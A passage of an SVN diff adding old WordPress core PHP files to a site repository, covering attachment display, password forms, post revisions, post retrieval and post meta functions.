+				$constraint = "width='{$max_dims[0]}' ";
+				$post->iconsize = array($max_dims[0], $height);
+			} else {
+				$width = $max_dims[1] / $actual_aspect;
+				$constraint = "height='{$max_dims[1]}' ";
+				$post->iconsize = array($width, $max_dims[1]);
+			}
+		} else {
+			$post->iconsize = array($imagesize[0], $imagesize[1]);
+			$constraint = '';
+		}
+	} else {
+		$constraint = '';
+	}
+
+	$post_title = esc_attr($post->post_title);
+
+	$icon = "<img src='$src' title='$post_title' alt='$post_title' $constraint/>";
+
+	return apply_filters( 'attachment_icon', $icon, $post->ID );
+}
+
+/**
+ * Retrieve HTML content of image element.
+ *
+ * @since 2.0.0
+ * @deprecated Use {@link wp_get_attachment_image()}
+ * @see wp_get_attachment_image() Use instead.
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full size image.
+ * @param array $max_dims Optional. Dimensions of image.
+ * @return string
+ */
+function get_attachment_innerHTML($id = 0, $fullsize = false, $max_dims = false) {
+	$id = (int) $id;
+	if ( !$post = & get_post($id) )
+		return false;
+
+	if ( $innerHTML = get_attachment_icon($post->ID, $fullsize, $max_dims))
+		return $innerHTML;
+
+
+	$innerHTML = esc_attr($post->post_title);
+
+	return apply_filters('attachment_innerHTML', $innerHTML, $post->ID);
+}
+
+/**
+ * Wrap attachment in <<p>> element before content.
+ *
+ * @since 2.0.0
+ * @uses apply_filters() Calls 'prepend_attachment' hook on HTML content.
+ *
+ * @param string $content
+ * @return string
+ */
+function prepend_attachment($content) {
+	global $post;
+
+	if ( empty($post->post_type) || $post->post_type != 'attachment' )
+		return $content;
+
+	$p = '<p class="attachment">';
+	// show the medium sized image representation of the attachment if available, and link to the raw file
+	$p .= wp_get_attachment_link(0, 'medium', false);
+	$p .= '</p>';
+	$p = apply_filters('prepend_attachment', $p);
+
+	return "$p\n$content";
+}
+
+//
+// Misc
+//
+
+/**
+ * Retrieve protected post password form content.
+ *
+ * @since 1.0.0
+ * @uses apply_filters() Calls 'the_password_form' filter on output.
+ *
+ * @return string HTML content for password form for password protected post.
+ */
+function get_the_password_form() {
+	global $post;
+	$label = 'pwbox-'.(empty($post->ID) ? rand() : $post->ID);
+	$output = '<form action="' . get_option('siteurl') . '/wp-pass.php" method="post">
+	<p>' . __("This post is password protected. To view it please enter your password below:") . '</p>
+	<p><label for="' . $label . '">' . __("Password:") . ' <input name="post_password" id="' . $label . '" type="password" size="20" /></label> <input type="submit" name="Submit" value="' . esc_attr__("Submit") . '" /></p>
+	</form>
+	';
+	return apply_filters('the_password_form', $output);
+}
+
+/**
+ * Whether currently in a page template.
+ *
+ * This template tag allows you to determine whether or not you are in a page
+ * template. You can optional provide a template name and then the check will be
+ * specific to that template.
+ *
+ * @since 2.5.0
+ * @uses $wp_query
+ *
+ * @param string $template The specific template name if specific matching is required.
+ * @return bool False on failure, true if success.
+ */
+function is_page_template($template = '') {
+	if (!is_page()) {
+		return false;
+	}
+
+	global $wp_query;
+
+	$page = $wp_query->get_queried_object();
+	$custom_fields = get_post_custom_values('_wp_page_template',$page->ID);
+	$page_template = $custom_fields[0];
+
+	// We have no argument passed so just see if a page_template has been specified
+	if ( empty( $template ) ) {
+		if (!empty( $page_template ) ) {
+			return true;
+		}
+	} elseif ( $template == $page_template) {
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Retrieve formatted date timestamp of a revision (linked to that revisions's page).
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses date_i18n()
+ *
+ * @param int|object $revision Revision ID or revision object.
+ * @param bool $link Optional, default is true. Link to revisions's page?
+ * @return string i18n formatted datetimestamp or localized 'Current Revision'.
+ */
+function wp_post_revision_title( $revision, $link = true ) {
+	if ( !$revision = get_post( $revision ) )
+		return $revision;
+
+	if ( !in_array( $revision->post_type, array( 'post', 'page', 'revision' ) ) )
+		return false;
+
+	/* translators: revision date format, see http://php.net/date */
+	$datef = _x( 'j F, Y @ G:i', 'revision date format');
+	/* translators: 1: date */
+	$autosavef = __( '%1$s [Autosave]' );
+	/* translators: 1: date */
+	$currentf  = __( '%1$s [Current Revision]' );
+
+	$date = date_i18n( $datef, strtotime( $revision->post_modified_gmt . ' +0000' ) );
+	if ( $link && current_user_can( 'edit_post', $revision->ID ) && $link = get_edit_post_link( $revision->ID ) )
+		$date = "<a href='$link'>$date</a>";
+
+	if ( !wp_is_post_revision( $revision ) )
+		$date = sprintf( $currentf, $date );
+	elseif ( wp_is_post_autosave( $revision ) )
+		$date = sprintf( $autosavef, $date );
+
+	return $date;
+}
+
+/**
+ * Display list of a post's revisions.
+ *
+ * Can output either a UL with edit links or a TABLE with diff interface, and
+ * restore action links.
+ *
+ * Second argument controls parameters:
+ *   (bool)   parent : include the parent (the "Current Revision") in the list.
+ *   (string) format : 'list' or 'form-table'.  'list' outputs UL, 'form-table'
+ *                     outputs TABLE with UI.
+ *   (int)    right  : what revision is currently being viewed - used in
+ *                     form-table format.
+ *   (int)    left   : what revision is currently being diffed against right -
+ *                     used in form-table format.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses wp_get_post_revisions()
+ * @uses wp_post_revision_title()
+ * @uses get_edit_post_link()
+ * @uses get_the_author_meta()
+ *
+ * @todo split into two functions (list, form-table) ?
+ *
+ * @param int|object $post_id Post ID or post object.
+ * @param string|array $args See description {@link wp_parse_args()}.
+ * @return null
+ */
+function wp_list_post_revisions( $post_id = 0, $args = null ) {
+	if ( !$post = get_post( $post_id ) )
+		return;
+
+	$defaults = array( 'parent' => false, 'right' => false, 'left' => false, 'format' => 'list', 'type' => 'all' );
+	extract( wp_parse_args( $args, $defaults ), EXTR_SKIP );
+
+	switch ( $type ) {
+	case 'autosave' :
+		if ( !$autosave = wp_get_post_autosave( $post->ID ) )
+			return;
+		$revisions = array( $autosave );
+		break;
+	case 'revision' : // just revisions - remove autosave later
+	case 'all' :
+	default :
+		if ( !$revisions = wp_get_post_revisions( $post->ID ) )
+			return;
+		break;
+	}
+
+	/* translators: post revision: 1: when, 2: author name */
+	$titlef = _x( '%1$s by %2$s', 'post revision' );
+
+	if ( $parent )
+		array_unshift( $revisions, $post );
+
+	$rows = '';
+	$class = false;
+	$can_edit_post = current_user_can( 'edit_post', $post->ID );
+	foreach ( $revisions as $revision ) {
+		if ( !current_user_can( 'read_post', $revision->ID ) )
+			continue;
+		if ( 'revision' === $type && wp_is_post_autosave( $revision ) )
+			continue;
+
+		$date = wp_post_revision_title( $revision );
+		$name = get_the_author_meta( 'display_name', $revision->post_author );
+
+		if ( 'form-table' == $format ) {
+			if ( $left )
+				$left_checked = $left == $revision->ID ? ' checked="checked"' : '';
+			else
+				$left_checked = $right_checked ? ' checked="checked"' : ''; // [sic] (the next one)
+			$right_checked = $right == $revision->ID ? ' checked="checked"' : '';
+
+			$class = $class ? '' : " class='alternate'";
+
+			if ( $post->ID != $revision->ID && $can_edit_post )
+				$actions = '<a href="' . wp_nonce_url( add_query_arg( array( 'revision' => $revision->ID, 'diff' => false, 'action' => 'restore' ) ), "restore-post_$post->ID|$revision->ID" ) . '">' . __( 'Restore' ) . '</a>';
+			else
+				$actions = '';
+
+			$rows .= "<tr$class>\n";
+			$rows .= "\t<th style='white-space: nowrap' scope='row'><input type='radio' name='left' value='$revision->ID'$left_checked /><input type='radio' name='right' value='$revision->ID'$right_checked /></th>\n";
+			$rows .= "\t<td>$date</td>\n";
+			$rows .= "\t<td>$name</td>\n";
+			$rows .= "\t<td class='action-links'>$actions</td>\n";
+			$rows .= "</tr>\n";
+		} else {
+			$title = sprintf( $titlef, $date, $name );
+			$rows .= "\t<li>$title</li>\n";
+		}
+	}
+
+	if ( 'form-table' == $format ) : ?>
+
+<form action="revision.php" method="get">
+
+<div class="tablenav">
+	<div class="alignleft">
+		<input type="submit" class="button-secondary" value="<?php esc_attr_e( 'Compare Revisions' ); ?>" />
+		<input type="hidden" name="action" value="diff" />
+	</div>
+</div>
+
+<br class="clear" />
+
+<table class="widefat post-revisions" cellspacing="0">
+	<col />
+	<col style="width: 33%" />
+	<col style="width: 33%" />
+	<col style="width: 33%" />
+<thead>
+<tr>
+	<th scope="col"></th>
+	<th scope="col"><?php _e( 'Date Created' ); ?></th>
+	<th scope="col"><?php _e( 'Author' ); ?></th>
+	<th scope="col" class="action-links"><?php _e( 'Actions' ); ?></th>
+</tr>
+</thead>
+<tbody>
+
+<?php echo $rows; ?>
+
+</tbody>
+</table>
+
+</form>
+
+<?php
+	else :
+		echo "<ul class='post-revisions'>\n";
+		echo $rows;
+		echo "</ul>";
+	endif;
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/post.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/post.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/post.php	(revision 44)
@@ -0,0 +1,3797 @@
+<?php
+/**
+ * Post functions and post utility function.
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 1.5.0
+ */
+
+/**
+ * Retrieve attached file path based on attachment ID.
+ *
+ * You can optionally send it through the 'get_attached_file' filter, but by
+ * default it will just return the file path unfiltered.
+ *
+ * The function works by getting the single post meta name, named
+ * '_wp_attached_file' and returning it. This is a convenience function to
+ * prevent looking up the meta name and provide a mechanism for sending the
+ * attached filename through a filter.
+ *
+ * @since 2.0.0
+ * @uses apply_filters() Calls 'get_attached_file' on file path and attachment ID.
+ *
+ * @param int $attachment_id Attachment ID.
+ * @param bool $unfiltered Whether to apply filters or not.
+ * @return string The file path to the attached file.
+ */
+function get_attached_file( $attachment_id, $unfiltered = false ) {
+	$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
+	// If the file is relative, prepend upload dir
+	if ( 0 !== strpos($file, '/') && !preg_match('|^.:\\\|', $file) && ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) )
+		$file = $uploads['basedir'] . "/$file";
+	if ( $unfiltered )
+		return $file;
+	return apply_filters( 'get_attached_file', $file, $attachment_id );
+}
+
+/**
+ * Update attachment file path based on attachment ID.
+ *
+ * Used to update the file path of the attachment, which uses post meta name
+ * '_wp_attached_file' to store the path of the attachment.
+ *
+ * @since 2.1.0
+ * @uses apply_filters() Calls 'update_attached_file' on file path and attachment ID.
+ *
+ * @param int $attachment_id Attachment ID
+ * @param string $file File path for the attachment
+ * @return bool False on failure, true on success.
+ */
+function update_attached_file( $attachment_id, $file ) {
+	if ( !get_post( $attachment_id ) )
+		return false;
+
+	$file = apply_filters( 'update_attached_file', $file, $attachment_id );
+
+	// Make the file path relative to the upload dir
+	if ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) { // Get upload directory
+		if ( 0 === strpos($file, $uploads['basedir']) ) {// Check that the upload base exists in the file path
+				$file = str_replace($uploads['basedir'], '', $file); // Remove upload dir from the file path
+				$file = ltrim($file, '/');
+		}
+	}
+
+	return update_post_meta( $attachment_id, '_wp_attached_file', $file );
+}
+
+/**
+ * Retrieve all children of the post parent ID.
+ *
+ * Normally, without any enhancements, the children would apply to pages. In the
+ * context of the inner workings of WordPress, pages, posts, and attachments
+ * share the same table, so therefore the functionality could apply to any one
+ * of them. It is then noted that while this function does not work on posts, it
+ * does not mean that it won't work on posts. It is recommended that you know
+ * what context you wish to retrieve the children of.
+ *
+ * Attachments may also be made the child of a post, so if that is an accurate
+ * statement (which needs to be verified), it would then be possible to get
+ * all of the attachments for a post. Attachments have since changed since
+ * version 2.5, so this is most likely unaccurate, but serves generally as an
+ * example of what is possible.
+ *
+ * The arguments listed as defaults are for this function and also of the
+ * {@link get_posts()} function. The arguments are combined with the
+ * get_children defaults and are then passed to the {@link get_posts()}
+ * function, which accepts additional arguments. You can replace the defaults in
+ * this function, listed below and the additional arguments listed in the
+ * {@link get_posts()} function.
+ *
+ * The 'post_parent' is the most important argument and important attention
+ * needs to be paid to the $args parameter. If you pass either an object or an
+ * integer (number), then just the 'post_parent' is grabbed and everything else
+ * is lost. If you don't specify any arguments, then it is assumed that you are
+ * in The Loop and the post parent will be grabbed for from the current post.
+ *
+ * The 'post_parent' argument is the ID to get the children. The 'numberposts'
+ * is the amount of posts to retrieve that has a default of '-1', which is
+ * used to get all of the posts. Giving a number higher than 0 will only
+ * retrieve that amount of posts.
+ *
+ * The 'post_type' and 'post_status' arguments can be used to choose what
+ * criteria of posts to retrieve. The 'post_type' can be anything, but WordPress
+ * post types are 'post', 'pages', and 'attachments'. The 'post_status'
+ * argument will accept any post status within the write administration panels.
+ *
+ * @see get_posts() Has additional arguments that can be replaced.
+ * @internal Claims made in the long description might be inaccurate.
+ *
+ * @since 2.0.0
+ *
+ * @param mixed $args Optional. User defined arguments for replacing the defaults.
+ * @param string $output Optional. Constant for return type, either OBJECT (default), ARRAY_A, ARRAY_N.
+ * @return array|bool False on failure and the type will be determined by $output parameter.
+ */
+function &get_children($args = '', $output = OBJECT) {
+	if ( empty( $args ) ) {
+		if ( isset( $GLOBALS['post'] ) ) {
+			$args = array('post_parent' => (int) $GLOBALS['post']->post_parent );
+		} else {
+			return false;
+		}
+	} elseif ( is_object( $args ) ) {
+		$args = array('post_parent' => (int) $args->post_parent );
+	} elseif ( is_numeric( $args ) ) {
+		$args = array('post_parent' => (int) $args);
+	}
+
+	$defaults = array(
+		'numberposts' => -1, 'post_type' => 'any',
+		'post_status' => 'any', 'post_parent' => 0,
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$children = get_posts( $r );
+	if ( !$children ) {
+		$kids = false;
+		return $kids;
+	}
+
+	update_post_cache($children);
+
+	foreach ( $children as $key => $child )
+		$kids[$child->ID] =& $children[$key];
+
+	if ( $output == OBJECT ) {
+		return $kids;
+	} elseif ( $output == ARRAY_A ) {
+		foreach ( (array) $kids as $kid )
+			$weeuns[$kid->ID] = get_object_vars($kids[$kid->ID]);
+		return $weeuns;
+	} elseif ( $output == ARRAY_N ) {
+		foreach ( (array) $kids as $kid )
+			$babes[$kid->ID] = array_values(get_object_vars($kids[$kid->ID]));
+		return $babes;
+	} else {
+		return $kids;
+	}
+}
+
+/**
+ * Get extended entry info (<!--more-->).
+ *
+ * There should not be any space after the second dash and before the word
+ * 'more'. There can be text or space(s) after the word 'more', but won't be
+ * referenced.
+ *
+ * The returned array has 'main' and 'extended' keys. Main has the text before
+ * the <code><!--more--></code>. The 'extended' key has the content after the
+ * <code><!--more--></code> comment.
+ *
+ * @since 1.0.0
+ *
+ * @param string $post Post content.
+ * @return array Post before ('main') and after ('extended').
+ */
+function get_extended($post) {
+	//Match the new style more links
+	if ( preg_match('/<!--more(.*?)?-->/', $post, $matches) ) {
+		list($main, $extended) = explode($matches[0], $post, 2);
+	} else {
+		$main = $post;
+		$extended = '';
+	}
+
+	// Strip leading and trailing whitespace
+	$main = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $main);
+	$extended = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $extended);
+
+	return array('main' => $main, 'extended' => $extended);
+}
+
+/**
+ * Retrieves post data given a post ID or post object.
+ *
+ * See {@link sanitize_post()} for optional $filter values. Also, the parameter
+ * $post, must be given as a variable, since it is passed by reference.
+ *
+ * @since 1.5.1
+ * @uses $wpdb
+ * @link http://codex.wordpress.org/Function_Reference/get_post
+ *
+ * @param int|object $post Post ID or post object.
+ * @param string $output Optional, default is Object. Either OBJECT, ARRAY_A, or ARRAY_N.
+ * @param string $filter Optional, default is raw.
+ * @return mixed Post data
+ */
+function &get_post(&$post, $output = OBJECT, $filter = 'raw') {
+	global $wpdb;
+	$null = null;
+
+	if ( empty($post) ) {
+		if ( isset($GLOBALS['post']) )
+			$_post = & $GLOBALS['post'];
+		else
+			return $null;
+	} elseif ( is_object($post) && empty($post->filter) ) {
+		_get_post_ancestors($post);
+		wp_cache_add($post->ID, $post, 'posts');
+		$_post = &$post;
+	} else {
+		if ( is_object($post) )
+			$post = $post->ID;
+		$post = (int) $post;
+		if ( ! $_post = wp_cache_get($post, 'posts') ) {
+			$_post = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post));
+			if ( ! $_post )
+				return $null;
+			_get_post_ancestors($_post);
+			wp_cache_add($_post->ID, $_post, 'posts');
+		}
+	}
+
+	$_post = sanitize_post($_post, $filter);
+
+	if ( $output == OBJECT ) {
+		return $_post;
+	} elseif ( $output == ARRAY_A ) {
+		$__post = get_object_vars($_post);
+		return $__post;
+	} elseif ( $output == ARRAY_N ) {
+		$__post = array_values(get_object_vars($_post));
+		return $__post;
+	} else {
+		return $_post;
+	}
+}
+
+/**
+ * Retrieve ancestors of a post.
+ *
+ * @since 2.5.0
+ *
+ * @param int|object $post Post ID or post object
+ * @return array Ancestor IDs or empty array if none are found.
+ */
+function get_post_ancestors($post) {
+	$post = get_post($post);
+
+	if ( !empty($post->ancestors) )
+		return $post->ancestors;
+
+	return array();
+}
+
+/**
+ * Retrieve data from a post field based on Post ID.
+ *
+ * Examples of the post field will be, 'post_type', 'post_status', 'content',
+ * etc and based off of the post object property or key names.
+ *
+ * The context values are based off of the taxonomy filter functions and
+ * supported values are found within those functions.
+ *
+ * @since 2.3.0
+ * @uses sanitize_post_field() See for possible $context values.
+ *
+ * @param string $field Post field name
+ * @param id $post Post ID
+ * @param string $context Optional. How to filter the field. Default is display.
+ * @return WP_Error|string Value in post field or WP_Error on failure
+ */
+function get_post_field( $field, $post, $context = 'display' ) {
+	$post = (int) $post;
+	$post = get_post( $post );
+
+	if ( is_wp_error($post) )
+		return $post;
+
+	if ( !is_object($post) )
+		return '';
+
+	if ( !isset($post->$field) )
+		return '';
+
+	return sanitize_post_field($field, $post->$field, $post->ID, $context);
+}
+
+/**
+ * Retrieve the mime type of an attachment based on the ID.
+ *
+ * This function can be used with any post type, but it makes more sense with
+ * attachments.
+ *
+ * @since 2.0.0
+ *
+ * @param int $ID Optional. Post ID.
+ * @return bool|string False on failure or returns the mime type
+ */
+function get_post_mime_type($ID = '') {
+	$post = & get_post($ID);
+
+	if ( is_object($post) )
+		return $post->post_mime_type;
+
+	return false;
+}
+
+/**
+ * Retrieve the post status based on the Post ID.
+ *
+ * If the post ID is of an attachment, then the parent post status will be given
+ * instead.
+ *
+ * @since 2.0.0
+ *
+ * @param int $ID Post ID
+ * @return string|bool Post status or false on failure.
+ */
+function get_post_status($ID = '') {
+	$post = get_post($ID);
+
+	if ( is_object($post) ) {
+		if ( ('attachment' == $post->post_type) && $post->post_parent && ($post->ID != $post->post_parent) )
+			return get_post_status($post->post_parent);
+		else
+			return $post->post_status;
+	}
+
+	return false;
+}
+
+/**
+ * Retrieve all of the WordPress supported post statuses.
+ *
+ * Posts have a limited set of valid status values, this provides the
+ * post_status values and descriptions.
+ *
+ * @since 2.5.0
+ *
+ * @return array List of post statuses.
+ */
+function get_post_statuses( ) {
+	$status = array(
+		'draft'			=> __('Draft'),
+		'pending'		=> __('Pending Review'),
+		'private'		=> __('Private'),
+		'publish'		=> __('Published')
+	);
+
+	return $status;
+}
+
+/**
+ * Retrieve all of the WordPress support page statuses.
+ *
+ * Pages have a limited set of valid status values, this provides the
+ * post_status values and descriptions.
+ *
+ * @since 2.5.0
+ *
+ * @return array List of page statuses.
+ */
+function get_page_statuses( ) {
+	$status = array(
+		'draft'			=> __('Draft'),
+		'private'		=> __('Private'),
+		'publish'		=> __('Published')
+	);
+
+	return $status;
+}
+
+/**
+ * Retrieve the post type of the current post or of a given post.
+ *
+ * @since 2.1.0
+ *
+ * @uses $wpdb
+ * @uses $posts The Loop post global
+ *
+ * @param mixed $post Optional. Post object or post ID.
+ * @return bool|string post type or false on failure.
+ */
+function get_post_type($post = false) {
+	global $posts;
+
+	if ( false === $post )
+		$post = $posts[0];
+	elseif ( (int) $post )
+		$post = get_post($post, OBJECT);
+
+	if ( is_object($post) )
+		return $post->post_type;
+
+	return false;
+}
+
+/**
+ * Updates the post type for the post ID.
+ *
+ * The page or post cache will be cleaned for the post ID.
+ *
+ * @since 2.5.0
+ *
+ * @uses $wpdb
+ *
+ * @param int $post_id Post ID to change post type. Not actually optional.
+ * @param string $post_type Optional, default is post. Supported values are 'post' or 'page' to
+ *  name a few.
+ * @return int Amount of rows changed. Should be 1 for success and 0 for failure.
+ */
+function set_post_type( $post_id = 0, $post_type = 'post' ) {
+	global $wpdb;
+
+	$post_type = sanitize_post_field('post_type', $post_type, $post_id, 'db');
+	$return = $wpdb->update($wpdb->posts, array('post_type' => $post_type), array('ID' => $post_id) );
+
+	if ( 'page' == $post_type )
+		clean_page_cache($post_id);
+	else
+		clean_post_cache($post_id);
+
+	return $return;
+}
+
+/**
+ * Retrieve list of latest posts or posts matching criteria.
+ *
+ * The defaults are as follows:
+ *     'numberposts' - Default is 5. Total number of posts to retrieve.
+ *     'offset' - Default is 0. See {@link WP_Query::query()} for more.
+ *     'category' - What category to pull the posts from.
+ *     'orderby' - Default is 'post_date'. How to order the posts.
+ *     'order' - Default is 'DESC'. The order to retrieve the posts.
+ *     'include' - See {@link WP_Query::query()} for more.
+ *     'exclude' - See {@link WP_Query::query()} for more.
+ *     'meta_key' - See {@link WP_Query::query()} for more.
+ *     'meta_value' - See {@link WP_Query::query()} for more.
+ *     'post_type' - Default is 'post'. Can be 'page', or 'attachment' to name a few.
+ *     'post_parent' - The parent of the post or post type.
+ *     'post_status' - Default is 'published'. Post status to retrieve.
+ *
+ * @since 1.2.0
+ * @uses $wpdb
+ * @uses WP_Query::query() See for more default arguments and information.
+ * @link http://codex.wordpress.org/Template_Tags/get_posts
+ *
+ * @param array $args Optional. Overrides defaults.
+ * @return array List of posts.
+ */
+function get_posts($args = null) {
+	$defaults = array(
+		'numberposts' => 5, 'offset' => 0,
+		'category' => 0, 'orderby' => 'post_date',
+		'order' => 'DESC', 'include' => '',
+		'exclude' => '', 'meta_key' => '',
+		'meta_value' =>'', 'post_type' => 'post',
+		'suppress_filters' => true
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	if ( empty( $r['post_status'] ) )
+		$r['post_status'] = ( 'attachment' == $r['post_type'] ) ? 'inherit' : 'publish';
+	if ( ! empty($r['numberposts']) )
+		$r['posts_per_page'] = $r['numberposts'];
+	if ( ! empty($r['category']) )
+		$r['cat'] = $r['category'];
+	if ( ! empty($r['include']) ) {
+		$incposts = preg_split('/[\s,]+/',$r['include']);
+		$r['posts_per_page'] = count($incposts);  // only the number of posts included
+		$r['post__in'] = $incposts;
+	} elseif ( ! empty($r['exclude']) )
+		$r['post__not_in'] = preg_split('/[\s,]+/',$r['exclude']);
+
+	$r['caller_get_posts'] = true;
+
+	$get_posts = new WP_Query;
+	return $get_posts->query($r);
+
+}
+
+//
+// Post meta functions
+//
+
+/**
+ * Add meta data field to a post.
+ *
+ * Post meta data is called "Custom Fields" on the Administration Panels.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ * @link http://codex.wordpress.org/Function_Reference/add_post_meta
+ *
+ * @param int $post_id Post ID.
+ * @param string $key Metadata name.
+ * @param mixed $value Metadata value.
+ * @param bool $unique Optional, default is false. Whether the same key should not be added.
+ * @return bool False for failure. True for success.
+ */
+function add_post_meta($post_id, $meta_key, $meta_value, $unique = false) {
+	if ( !$meta_key )
+		return false;
+
+	global $wpdb;
+
+	// make sure meta is added to the post, not a revision
+	if ( $the_post = wp_is_post_revision($post_id) )
+		$post_id = $the_post;
+
+	// expected_slashed ($meta_key)
+	$meta_key = stripslashes($meta_key);
+
+	if ( $unique && $wpdb->get_var( $wpdb->prepare( "SELECT meta_key FROM $wpdb->postmeta WHERE meta_key = %s AND post_id = %d", $meta_key, $post_id ) ) )
+		return false;
+
+	$meta_value = maybe_serialize( stripslashes_deep($meta_value) );
+
+	$wpdb->insert( $wpdb->postmeta, compact( 'post_id', 'meta_key', 'meta_value' ) );
+
+	wp_cache_delete($post_id, 'post_meta');
+
+	return true;
+}
+
+/**
+ * Remove metadata matching criteria from a post.
+ *
+ * You can match based on the key, or key and value. Removing based on key and
+ * value, will keep from removing duplicate metadata with the same key. It also
+ * allows removing all metadata matching key, if needed.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ * @link http://codex.wordpress.org/Function_Reference/delete_post_meta
+ *
+ * @param int $post_id post ID
+ * @param string $meta_key Metadata name.
+ * @param mixed $meta_value Optional. Metadata value.
+ * @return bool False for failure. True for success.
+ */
+function delete_post_meta($post_id, $meta_key, $meta_value = '') {
+	global $wpdb;
+
+	// make sure meta is added to the post, not a revision
+	if ( $the_post = wp_is_post_revision($post_id) )
+		$post_id = $the_post;
+
+	// expected_slashed ($meta_key, $meta_value)
+	$meta_key = stripslashes( $meta_key );
+	$meta_value = maybe_serialize( stripslashes_deep($meta_value) );
+
+	if ( !$meta_key )
+		return false;
+
+	if ( empty( $meta_value ) )
+		$meta_id = $wpdb->get_var( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s", $post_id, $meta_key ) );
+	else
+		$meta_id = $wpdb->get_var( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s AND meta_value = %s", $post_id, $meta_key, $meta_value ) );
+
+	if ( !$meta_id )
+		return false;
+
+	if ( empty( $meta_value ) )
+		$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s", $post_id, $meta_key ) );
+	else
+		$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s AND meta_value = %s", $post_id, $meta_key, $meta_value ) );
+
+	wp_cache_delete($post_id, 'post_meta');
+
+	return true;
+}
+
+/**
+ * Retrieve post meta field for a post.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ * @link http://codex.wordpress.org/Function_Reference/get_post_meta
+ *
+ * @param int $post_id Post ID.
+ * @param string $key The meta key to retrieve.
+ * @param bool $single Whether to return a single value.
+ * @return mixed Will be an array if $single is false. Will be value of meta data field if $single
+ *  is true.
+ */
+function get_post_meta($post_id, $key, $single = false) {
+	if ( !$key )
+		return '';
+
+	$post_id = (int) $post_id;
+
+	$meta_cache = wp_cache_get($post_id, 'post_meta');
+
+	if ( !$meta_cache ) {
+		update_postmeta_cache($post_id);
+		$meta_cache = wp_cache_get($post_id, 'post_meta');
+	}
+
+	if ( isset($meta_cache[$key]) ) {
+		if ( $single ) {
+			return maybe_unserialize( $meta_cache[$key][0] );
+		} else {
+			return array_map('maybe_unserialize', $meta_cache[$key]);
+		}
+	}
+
+	return '';
+}
+
+/**
+ * Update post meta field based on post ID.
+ *
+ * Use the $prev_value parameter to differentiate between meta fields with the
+ * same key and post ID.
+ *
+ * If the meta field for the post does not exist, it will be added.
+ *
+ * @since 1.5
+ * @uses $wpdb
+ * @link http://codex.wordpress.org/Function_Reference/update_post_meta
+ *
+ * @param int $post_id Post ID.
+ * @param string $key Metadata key.
+ * @param mixed $value Metadata value.
+ * @param mixed $prev_value Optional. Previous value to check before removing.
+ * @return bool False on failure, true if success.
+ */
+function update_post_meta($post_id, $meta_key, $meta_value, $prev_value = '') {
+	global $wpdb;
+
+	// make sure meta is added to the post, not a revision
+	if ( $the_post = wp_is_post_revision($post_id) )
+		$post_id = $the_post;
+
+	// expected_slashed ($meta_key)
+	$meta_key = stripslashes($meta_key);
+
+	if ( !$meta_key )
+		return false;
+
+	if ( ! $wpdb->get_var( $wpdb->prepare( "SELECT meta_key FROM $wpdb->postmeta WHERE meta_key = %s AND post_id = %d", $meta_key, $post_id ) ) ) {
+		return add_post_meta($post_id, $meta_key, $meta_value);
+	}
+
+	$meta_value = maybe_serialize( stripslashes_deep($meta_value) );
+
+	$data  = compact( 'meta_value' );
+	$where = compact( 'meta_key', 'post_id' );
+
+	if ( !empty( $prev_value ) ) {
+		$prev_value = maybe_serialize($prev_value);
+		$where['meta_value'] = $prev_value;
+	}
+
+	$wpdb->update( $wpdb->postmeta, $data, $where );
+	wp_cache_delete($post_id, 'post_meta');
+	return true;
+}
+
+/**
+ * Delete everything from post meta matching meta key.
+ *
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param string $post_meta_key Key to search for when deleting.
+ * @return bool Whether the post meta key was deleted from the database
+ */
+function delete_post_meta_by_key($post_meta_key) {
+	if ( !$post_meta_key )
+		return false;
+
+	global $wpdb;
+	$post_ids = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT post_id FROM $wpdb->postmeta WHERE meta_key = %s", $post_meta_key));
+	if ( $post_ids ) {
+		$wpdb->query($wpdb->prepare("DELETE FROM $wpdb->postmeta WHERE meta_key = %s", $post_meta_key));
+		foreach ( $post_ids as $post_id )
+			wp_cache_delete($post_id, 'post_meta');
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Retrieve post meta fields, based on post ID.
+ *
+ * The post meta fields are retrieved from the cache, so the function is
+ * optimized to be called more than once. It also applies to the functions, that
+ * use this function.
+ *
+ * @since 1.2.0
+ * @link http://codex.wordpress.org/Function_Reference/get_post_custom
+ *
+ * @uses $id Current Loop Post ID
+ *
+ * @param int $post_id post ID
+ * @return array
+ */
+function get_post_custom($post_id = 0) {
+	global $id;
+
+	if ( !$post_id )
+		$post_id = (int) $id;
+
+	$post_id = (int) $post_id;
+
+	if ( ! wp_cache_get($post_id, 'post_meta') )
+		update_postmeta_cache($post_id);
+
+	return wp_cache_get($post_id, 'post_meta');
+}
+
+/**
+ * Retrieve meta field names for a post.
+ *
+ * If there are no meta fields, then nothing (null) will be returned.
+ *
+ * @since 1.2.0
+ * @link http://codex.wordpress.org/Function_Reference/get_post_custom_keys
+ *
+ * @param int $post_id post ID
+ * @return array|null Either array of the keys, or null if keys could not be retrieved.
+ */
+function get_post_custom_keys( $post_id = 0 ) {
